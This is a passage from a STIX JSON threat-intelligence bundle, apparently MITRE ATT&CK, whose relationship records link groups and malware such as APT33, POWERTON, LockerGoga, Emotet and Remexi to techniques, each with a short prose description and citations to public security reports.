            "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf",
            "external_references": [
                {
                    "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html",
                    "source_name": "FireEye TRITON 2019"
                }
            ],
            "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) utilized RDP throughout an operation.(Citation: FireEye TRITON 2019)\t",
            "relationship_type": "uses",
            "id": "relationship--76f7e81a-4637-4e02-b417-af4d85369432",
            "type": "relationship",
            "modified": "2019-04-29T18:59:16.414Z",
            "created": "2019-04-16T16:08:49.400Z"
        },
        {
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            ],
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            "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d",
            "external_references": [
                {
                    "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html",
                    "source_name": "FireEye TRITON 2019"
                }
            ],
            "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) has used a VPN to persist in the victim environment.(Citation: FireEye TRITON 2019)",
            "relationship_type": "uses",
            "id": "relationship--3bd260ad-fca9-46c3-9144-51f24a917310",
            "type": "relationship",
            "modified": "2019-04-29T18:59:16.516Z",
            "created": "2019-04-16T16:08:49.406Z"
        },
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            ],
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            "target_ref": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011",
            "external_references": [
                {
                    "source_name": "FireEye APT33 Guardrail",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html",
                    "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."
                }
            ],
            "description": "[POWERTON](https://attack.mitre.org/software/S0371) has the ability to dump password hashes.(Citation: FireEye APT33 Guardrail)",
            "relationship_type": "uses",
            "id": "relationship--b8133b35-52b8-4407-9845-a00b6a739cdc",
            "type": "relationship",
            "modified": "2020-03-25T16:21:36.381Z",
            "created": "2019-04-16T17:43:42.905Z"
        },
        {
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            ],
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            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "external_references": [
                {
                    "source_name": "FireEye APT33 Guardrail",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html",
                    "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."
                }
            ],
            "description": "[POWERTON](https://attack.mitre.org/software/S0371) can install a Registry Run key for persistence.(Citation: FireEye APT33 Guardrail)",
            "relationship_type": "uses",
            "id": "relationship--e4465d76-d212-4f14-8493-c9c5d7c8a6f4",
            "type": "relationship",
            "modified": "2019-04-22T19:59:21.513Z",
            "created": "2019-04-16T17:43:42.914Z"
        },
        {
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            ],
            "source_ref": "malware--e85cae1a-bce3-4ac4-b36b-b00acac0567b",
            "target_ref": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58",
            "external_references": [
                {
                    "source_name": "FireEye APT33 Guardrail",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html",
                    "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."
                }
            ],
            "description": "[POWERTON](https://attack.mitre.org/software/S0371) can use WMI for persistence.(Citation: FireEye APT33 Guardrail)",
            "relationship_type": "uses",
            "id": "relationship--ff53be5e-2a57-4a9e-a0c1-cc075c1331c4",
            "type": "relationship",
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            "created": "2019-04-16T17:43:42.921Z"
        },
        {
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            ],
            "source_ref": "malware--e85cae1a-bce3-4ac4-b36b-b00acac0567b",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "external_references": [
                {
                    "source_name": "FireEye APT33 Guardrail",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html",
                    "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."
                }
            ],
            "description": "[POWERTON](https://attack.mitre.org/software/S0371) is written in PowerShell.(Citation: FireEye APT33 Guardrail)",
            "relationship_type": "uses",
            "id": "relationship--570da7ec-2d72-4e1b-9f30-f0e1a10085bf",
            "type": "relationship",
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        },
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            ],
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            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "external_references": [
                {
                    "source_name": "FireEye APT33 Guardrail",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html",
                    "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."
                }
            ],
            "description": "[POWERTON](https://attack.mitre.org/software/S0371) has used AES for encrypting C2 traffic.(Citation: FireEye APT33 Guardrail)",
            "relationship_type": "uses",
            "id": "relationship--2624fd3f-9282-4080-bace-6a673fd31b9f",
            "type": "relationship",
            "modified": "2020-03-21T00:17:11.147Z",
            "created": "2019-04-16T17:43:42.931Z"
        },
        {
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            "source_ref": "malware--e85cae1a-bce3-4ac4-b36b-b00acac0567b",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "external_references": [
                {
                    "source_name": "FireEye APT33 Guardrail",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html",
                    "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."
                }
            ],
            "description": "[POWERTON](https://attack.mitre.org/software/S0371) has used HTTP/HTTPS for C2 traffic.(Citation: FireEye APT33 Guardrail)",
            "relationship_type": "uses",
            "id": "relationship--3c98448a-15ec-4a51-8c41-8f1379d2dc0a",
            "type": "relationship",
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            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
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                {
                    "source_name": "FireEye APT33 Guardrail",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html",
                    "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."
                }
            ],
            "description": "[POWERTON](https://attack.mitre.org/software/S0371) has used port 443 for C2 traffic.(Citation: FireEye APT33 Guardrail) ",
            "relationship_type": "uses",
            "id": "relationship--7e0aa4df-1516-426f-8d87-575f53469bd7",
            "type": "relationship",
            "modified": "2019-04-22T19:59:21.566Z",
            "created": "2019-04-16T17:43:42.943Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--5af7a825-2d9f-400d-931a-e00eb9e27f48",
            "target_ref": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5",
            "external_references": [
                {
                    "description": "Harbison, M.. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/",
                    "source_name": "Unit42 LockerGoga 2019"
                }
            ],
            "description": "[LockerGoga](https://attack.mitre.org/software/S0372) has been observed moving around the victim network via SMB, indicating the actors behind this ransomware are manually copying files form computer to computer instead of self-propagating.(Citation: Unit42 LockerGoga 2019)",
            "relationship_type": "uses",
            "id": "relationship--d80bbf0c-2fb4-4272-a878-65662452d3ca",
            "type": "relationship",
            "modified": "2020-03-20T18:56:22.144Z",
            "created": "2019-04-16T19:00:49.591Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--5af7a825-2d9f-400d-931a-e00eb9e27f48",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "external_references": [
                {
                    "description": "CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification \u2013 LockerGoga Ransomware. Retrieved April 16, 2019.",
                    "url": "https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/",
                    "source_name": "CarbonBlack LockerGoga 2019"
                }
            ],
            "description": "[LockerGoga](https://attack.mitre.org/software/S0372) has been observed deleting its original launcher after execution.(Citation: CarbonBlack LockerGoga 2019)",
            "relationship_type": "uses",
            "id": "relationship--20904798-df45-48a6-8428-9e4fb913f6ae",
            "type": "relationship",
            "modified": "2019-10-10T12:16:50.240Z",
            "created": "2019-04-16T19:00:49.595Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            "source_ref": "malware--5af7a825-2d9f-400d-931a-e00eb9e27f48",
            "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0",
            "external_references": [
                {
                    "description": "CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification \u2013 LockerGoga Ransomware. Retrieved April 16, 2019.",
                    "url": "https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/",
                    "source_name": "CarbonBlack LockerGoga 2019"
                },
                {
                    "source_name": "Unit42 LockerGoga 2019",
                    "url": "https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/",
                    "description": "Harbison, M.. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019."
                },
                {
                    "source_name": "Wired Lockergoga 2019",
                    "url": "https://www.wired.com/story/lockergoga-ransomware-crippling-industrial-firms/",
                    "description": "Greenberg, A. (2019, March 25). A Guide to LockerGoga, the Ransomware Crippling Industrial Firms. Retrieved July 17, 2019."
                }
            ],
            "description": "[LockerGoga](https://attack.mitre.org/software/S0372) has encrypted files, including core Windows OS files, using RSA-OAEP MGF1 and then demanded Bitcoin be paid for the decryption key.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)(Citation: Wired Lockergoga 2019)",
            "relationship_type": "uses",
            "id": "relationship--31daba72-fb27-45a9-9224-991032b605a8",
            "type": "relationship",
            "modified": "2019-10-10T12:16:50.244Z",
            "created": "2019-04-16T19:00:49.593Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023",
            "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
            "external_references": [
                {
                    "source_name": "Sophos Emotet Apr 2019",
                    "url": "https://news.sophos.com/en-us/2019/03/05/emotet-101-stage-4-command-and-control/",
                    "description": "Brandt, A.. (2019, May 5). Emotet 101, stage 4: command and control. Retrieved April 16, 2019."
                },
                {
                    "source_name": "DanielManea Emotet May 2017",
                    "url": "https://danielmanea.com/category/reverseengineering/",
                    "description": "Manea, D.. (2019, May 25). Emotet v4 Analysis. Retrieved April 16, 2019."
                }
            ],
            "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed using an encrypted, modified protobuf-based protocol for command and control messaging.(Citation: Sophos Emotet Apr 2019)(Citation: DanielManea Emotet May 2017)",
            "relationship_type": "uses",
            "id": "relationship--16ae7818-4467-4954-8203-69017f4bd2ed",
            "type": "relationship",
            "modified": "2019-06-28T15:25:29.866Z",
            "created": "2019-04-16T19:29:01.535Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "external_references": [
                {
                    "source_name": "ASEC Emotet 2017",
                    "url": "https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.88_ENG.pdf",
                    "description": "ASEC. (2017). ASEC REPORT VOL.88. Retrieved April 16, 2019."
                }
            ],
            "description": "[Emotet](https://attack.mitre.org/software/S0367) has been observed enumerating local processes.(Citation: ASEC Emotet 2017)",
            "relationship_type": "uses",
            "id": "relationship--e39eb7ad-f233-4c22-8707-aaf600f42100",
            "type": "relationship",
            "modified": "2019-06-28T15:25:30.146Z",
            "created": "2019-04-16T19:29:01.556Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "external_references": [
                {
                    "source_name": "FireEye APT33 Guardrail",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html",
                    "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."
                }
            ],
            "description": "[APT33](https://attack.mitre.org/groups/G0064) has used base64 to encode command and control traffic.(Citation: FireEye APT33 Guardrail)",
            "relationship_type": "uses",
            "id": "relationship--e1492807-b520-412b-9df7-105aefc29deb",
            "type": "relationship",
            "modified": "2020-03-20T18:03:11.276Z",
            "created": "2019-04-17T13:23:24.156Z"
        },
        {
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            "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "source_name": "FireEye APT33 Guardrail",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html",
                    "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."
                }
            ],
            "description": "[APT33](https://attack.mitre.org/groups/G0064) has used base64 to encode payloads.(Citation: FireEye APT33 Guardrail)",
            "relationship_type": "uses",
            "id": "relationship--3f29b80a-0444-4664-8faa-58a39de9264e",
            "type": "relationship",
            "modified": "2019-06-28T15:05:33.565Z",
            "created": "2019-04-17T13:23:24.189Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "external_references": [
                {
                    "source_name": "FireEye APT33 Guardrail",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html",
                    "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."
                }
            ],
            "description": "[APT33](https://attack.mitre.org/groups/G0064) has used AES for encryption of command and control traffic.(Citation: FireEye APT33 Guardrail)",
            "relationship_type": "uses",
            "id": "relationship--e053cb07-3e4d-41a1-85a6-38cd2ac0e6ea",
            "type": "relationship",
            "modified": "2020-03-20T23:00:53.773Z",
            "created": "2019-04-17T13:23:24.204Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f",
            "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839",
            "external_references": [
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                }
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            "description": "[Astaroth](https://attack.mitre.org/software/S0373) collects the machine name and keyboard language from the system. (Citation: Cofense Astaroth Sept 2018)(Citation: Cybereason Astaroth Feb 2019)",
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                    "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/",
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            "description": "[Astaroth](https://attack.mitre.org/software/S0373) collects the external IP address from the system. (Citation: Cofense Astaroth Sept 2018)",
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                    "source_name": "Cofense Astaroth Sept 2018"
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                    "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research",
                    "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019."
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                    "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019."
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                    "description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019."
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                    "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research",
                    "source_name": "Cybereason Astaroth Feb 2019"
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                    "source_name": "Securelist Brazilian Banking Malware July 2020",
                    "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/",
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                    "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html",
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                    "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html",
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                }
            ],
            "description": "[FIN6](https://attack.mitre.org/groups/G0037) has renamed the \"psexec\" service name to \"mstdc\" to masquerade as a legitimate Windows service.(Citation: FireEye FIN6 Apr 2019)\t",
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                }
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            "description": "[FIN6](https://attack.mitre.org/groups/G0037) has created Windows services to execute encoded PowerShell commands.(Citation: FireEye FIN6 Apr 2019)",
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                    "source_name": "District Court of NY APT10 Indictment December 2018",
                    "url": "https://www.justice.gov/opa/page/file/1122671/download",
                    "description": "US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020."
                }
            ],
            "description": "[menuPass](https://attack.mitre.org/groups/G0045) has been seen changing malicious files to appear legitimate.(Citation: District Court of NY APT10 Indictment December 2018)",
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            "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
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                    "source_name": "DOJ APT10 Dec 2018",
                    "url": "https://www.justice.gov/opa/pr/two-chinese-hackers-associated-ministry-state-security-charged-global-computer-intrusion",
                    "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019."
                },
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                    "source_name": "District Court of NY APT10 Indictment December 2018",
                    "url": "https://www.justice.gov/opa/page/file/1122671/download",
                    "description": "US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020."
                }
            ],
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                }
            ],
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                    "url": "https://securelist.com/chafer-used-remexi-malware/89538/",
                    "description": "Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019."
                }
            ],
            "description": "[Remexi](https://attack.mitre.org/software/S0375) encrypts and adds all gathered browser data into files for upload to C2.(Citation: Securelist Remexi Jan 2019)",
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            ],
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                    "url": "https://securelist.com/chafer-used-remexi-malware/89538/",
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                }
            ],
            "description": "[Remexi](https://attack.mitre.org/software/S0375) searches for files on the system. (Citation: Securelist Remexi Jan 2019)",
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                }
            ],
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            ],
            "description": "[Remexi](https://attack.mitre.org/software/S0375) achieves persistence using Userinit by adding the Registry key <code>HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit</code>.(Citation: Securelist Remexi Jan 2019)",
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                }
            ],
            "description": "[Remexi](https://attack.mitre.org/software/S0375) uses [BITSAdmin](https://attack.mitre.org/software/S0190) to communicate with the C2 server over HTTP.(Citation: Securelist Remexi Jan 2019)",
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            ],
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                }
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            "description": "[Remexi](https://attack.mitre.org/software/S0375) takes screenshots of windows of interest.(Citation: Securelist Remexi Jan 2019)",
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            "description": "[Remexi](https://attack.mitre.org/software/S0375) gathers and exfiltrates keystrokes from the machine.(Citation: Securelist Remexi Jan 2019)",
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                    "description": "GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019."
                }
            ],
            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has subset groups like Bluenoroff who have used cryptocurrency mining software on victim machines.(Citation: Kaspersky Lazarus Under The Hood Blog 2017)",
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                    "description": "Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018."
                },
                {
                    "source_name": "Radware Micropsia July 2018",
                    "url": "https://blog.radware.com/security/2018/07/micropsia-malware/",
                    "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018."
                }
            ],
            "description": "[Micropsia](https://attack.mitre.org/software/S0339) searches for anti-virus software and firewall products installed on the victim\u2019s machine using WMI.(Citation: Talos Micropsia June 2017)(Citation: Radware Micropsia July 2018)",
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                    "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/",
                    "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019."
                }
            ],
            "description": "[Stolen Pencil](https://attack.mitre.org/groups/G0086) sent spearphishing emails containing links to domains controlled by the threat actor.(Citation: Netscout Stolen Pencil Dec 2018)",
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            "description": "[Stolen Pencil](https://attack.mitre.org/groups/G0086) has used tools that are capable of obtaining credentials from saved mail.(Citation: Netscout Stolen Pencil Dec 2018)",
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                }
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                }
            ],
            "description": "[Remexi](https://attack.mitre.org/software/S0375) performs exfiltration over [BITSAdmin](https://attack.mitre.org/software/S0190), which is also used for the C2 channel.(Citation: Securelist Remexi Jan 2019)",
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                    "source_name": "Securelist Remexi Jan 2019",
                    "url": "https://securelist.com/chafer-used-remexi-malware/89538/",
                    "description": "Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019."
                }
            ],
            "description": "[Remexi](https://attack.mitre.org/software/S0375) collects text from the clipboard.(Citation: Securelist Remexi Jan 2019)",
            "relationship_type": "uses",
            "id": "relationship--5940076b-120a-4588-b227-7fe2bc9f7ccd",
            "type": "relationship",
            "modified": "2019-04-22T20:18:07.150Z",
            "created": "2019-04-17T22:55:43.590Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122",
            "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4",
            "external_references": [
                {
                    "source_name": "Unit42 DarkHydrus Jan 2019",
                    "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/",
                    "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019."
                }
            ],
            "description": "[RogueRobin](https://attack.mitre.org/software/S0270) has used Google Drive as a Command and Control channel. (Citation: Unit42 DarkHydrus Jan 2019)",
            "relationship_type": "uses",
            "id": "relationship--83bab2a0-5cbc-406e-beaf-a657ef73717d",
            "type": "relationship",
            "modified": "2020-03-20T21:26:42.294Z",
            "created": "2019-04-18T00:26:13.517Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122",
            "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6",
            "external_references": [
                {
                    "source_name": "Unit 42 DarkHydrus July 2018",
                    "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
                },
                {
                    "source_name": "Unit42 DarkHydrus Jan 2019",
                    "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/",
                    "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019."
                }
            ],
            "description": "[RogueRobin](https://attack.mitre.org/software/S0270) uses WMI to check BIOS version for VBOX, bochs, qemu, virtualbox, and vm to check for evidence that the script might be executing within an analysis environment. (Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit42 DarkHydrus Jan 2019)",
            "relationship_type": "uses",
            "id": "relationship--93b08370-9c05-47df-b067-368343dba24a",
            "type": "relationship",
            "modified": "2020-03-16T18:30:11.263Z",
            "created": "2019-04-18T00:26:13.521Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f",
            "target_ref": "attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c",
            "external_references": [
                {
                    "source_name": "FireEye APT33 Guardrail",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html",
                    "description": "Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."
                },
                {
                    "source_name": "Microsoft Holmium June 2020",
                    "url": "https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/",
                    "description": "Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020."
                }
            ],
            "description": "[APT33](https://attack.mitre.org/groups/G0064) has used password spraying to gain access to target systems.(Citation: FireEye APT33 Guardrail)(Citation: Microsoft Holmium June 2020)",
            "relationship_type": "uses",
            "id": "relationship--8b5691c7-1815-4d76-a7dd-dfd827043bb9",
            "type": "relationship",
            "modified": "2020-06-22T20:15:32.352Z",
            "created": "2019-04-18T14:44:18.146Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6",
            "target_ref": "attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292",
            "external_references": [
                {
                    "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.",
                    "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html",
                    "source_name": "FireEye Hacking FIN4 Dec 2014"
                }
            ],
            "description": "[FIN4](https://attack.mitre.org/groups/G0085) has created rules in victims' Microsoft Outlook accounts to automatically delete emails containing words such as \u201chacked,\" \"phish,\" and \u201cmalware\" in a likely attempt to prevent organizations from communicating about their activities.(Citation: FireEye Hacking FIN4 Dec 2014)",
            "relationship_type": "uses",
            "id": "relationship--70a17629-6b01-4764-932b-8be576270329",
            "type": "relationship",
            "modified": "2019-04-18T20:19:49.320Z",
            "created": "2019-04-18T20:13:56.028Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142",
            "target_ref": "attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336",
            "external_references": [
                {
                    "source_name": "Rancor Unit42 June 2018",
                    "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
                }
            ],
            "description": "[Rancor](https://attack.mitre.org/groups/G0075) has used <code>msiexec</code> to download and execute malicious installer files over HTTP.(Citation: Rancor Unit42 June 2018)",
            "relationship_type": "uses",
            "id": "relationship--c551c942-a191-4fe9-81a3-cc795d7dea38",
            "type": "relationship",
            "modified": "2020-03-17T14:38:38.680Z",
            "created": "2019-04-18T20:25:31.123Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "external_references": [
                {
                    "source_name": "Unit42 DarkHydrus Jan 2019",
                    "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/",
                    "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019."
                }
            ],
            "description": "[RogueRobin](https://attack.mitre.org/software/S0270) decodes an embedded executable using base64 and decompresses it.(Citation: Unit42 DarkHydrus Jan 2019)",
            "relationship_type": "uses",
            "id": "relationship--f304b74c-85c7-4bd6-85bc-bec918a4fb7e",
            "type": "relationship",
            "modified": "2019-04-24T23:55:43.447Z",
            "created": "2019-04-19T12:37:34.734Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122",
            "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab",
            "external_references": [
                {
                    "source_name": "Unit42 DarkHydrus Jan 2019",
                    "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/",
